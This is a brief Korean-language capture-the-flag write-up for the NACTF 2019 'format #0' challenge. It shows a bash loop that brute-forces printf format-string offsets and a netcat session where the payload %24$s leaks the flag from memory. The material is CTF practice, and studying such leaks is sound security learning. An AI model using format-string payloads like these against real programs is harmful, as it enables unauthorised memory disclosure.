nactf - format #0

$for i in {0..100}; do echo $i; echo '%'$i'$s' | ./format-0 ; done;
$nc shell.2019.nactf.com 31782
Type something>%24$s
You typed: nactf{Pr1ntF_L34k_m3m0ry_r34d_nM05f469}

 

이런식으로 나온다.

 

%24$s는 브루트포싱같은것으로 가능했는데 롸업을 보니 이런식으로 출력을 해보면

24번쨰에서 FLAG_FLAG_FLAG_FLAG가 나온다고 한다.

 

대충 코드를 보면 0번쨰에서 100번쨰까지 $s를 출력해보는 것 같다.